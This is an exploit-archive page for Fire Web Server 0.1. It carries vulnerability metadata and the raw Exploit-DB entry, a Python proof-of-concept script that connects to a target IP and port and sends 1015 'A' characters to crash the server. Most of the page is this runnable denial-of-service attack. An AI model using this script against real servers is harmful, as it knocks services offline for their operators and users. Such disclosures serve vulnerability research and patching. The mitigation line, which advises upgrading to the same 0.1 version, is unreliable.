header-logo
Suggest Exploit
vendor:
Fire Web Server 0.1
by:
Saeed reza Zamanian
7.5
CVSS
HIGH
Denial of Service
400
CWE
Product Name: Fire Web Server 0.1
Affected Version From: Pre-Alpha
Affected Version To: Pre-Alpha
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 7, Windows Vista
2020

Fire Web Server 0.1 – Remote Denial of Service (PoC)

This exploit sends an evil http request to the target with a payload of 1015 'A' characters, causing the Fire Web Server 0.1 to crash.

Mitigation:

Upgrade to the latest version of Fire Web Server 0.1
Source

Exploit-DB raw data:

# Exploit Title: Fire Web Server 0.1 - Remote Denial of Service (PoC)
# Date: 2020-06-26
# Exploit Author: Saeed reza Zamanian
# Vendor Homepage: https://sourceforge.net/projects/firewebserver/
# Software Link: https://sourceforge.net/projects/firewebserver/files/
# Version: Pre-Alpha
# Tested on: Windows 7 , Windows Vista

#!/usr/bin/python
  
import socket,os,sys

if len(sys.argv) < 3:
	print "Usage: python fwspa_dos.py targetIP targetPort"
else:
	print "[*] Sending evil http request to target"
	expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
	expl.connect((sys.argv[1], int(sys.argv[2])))
	expl.send("A"*1015)	
	expl.close()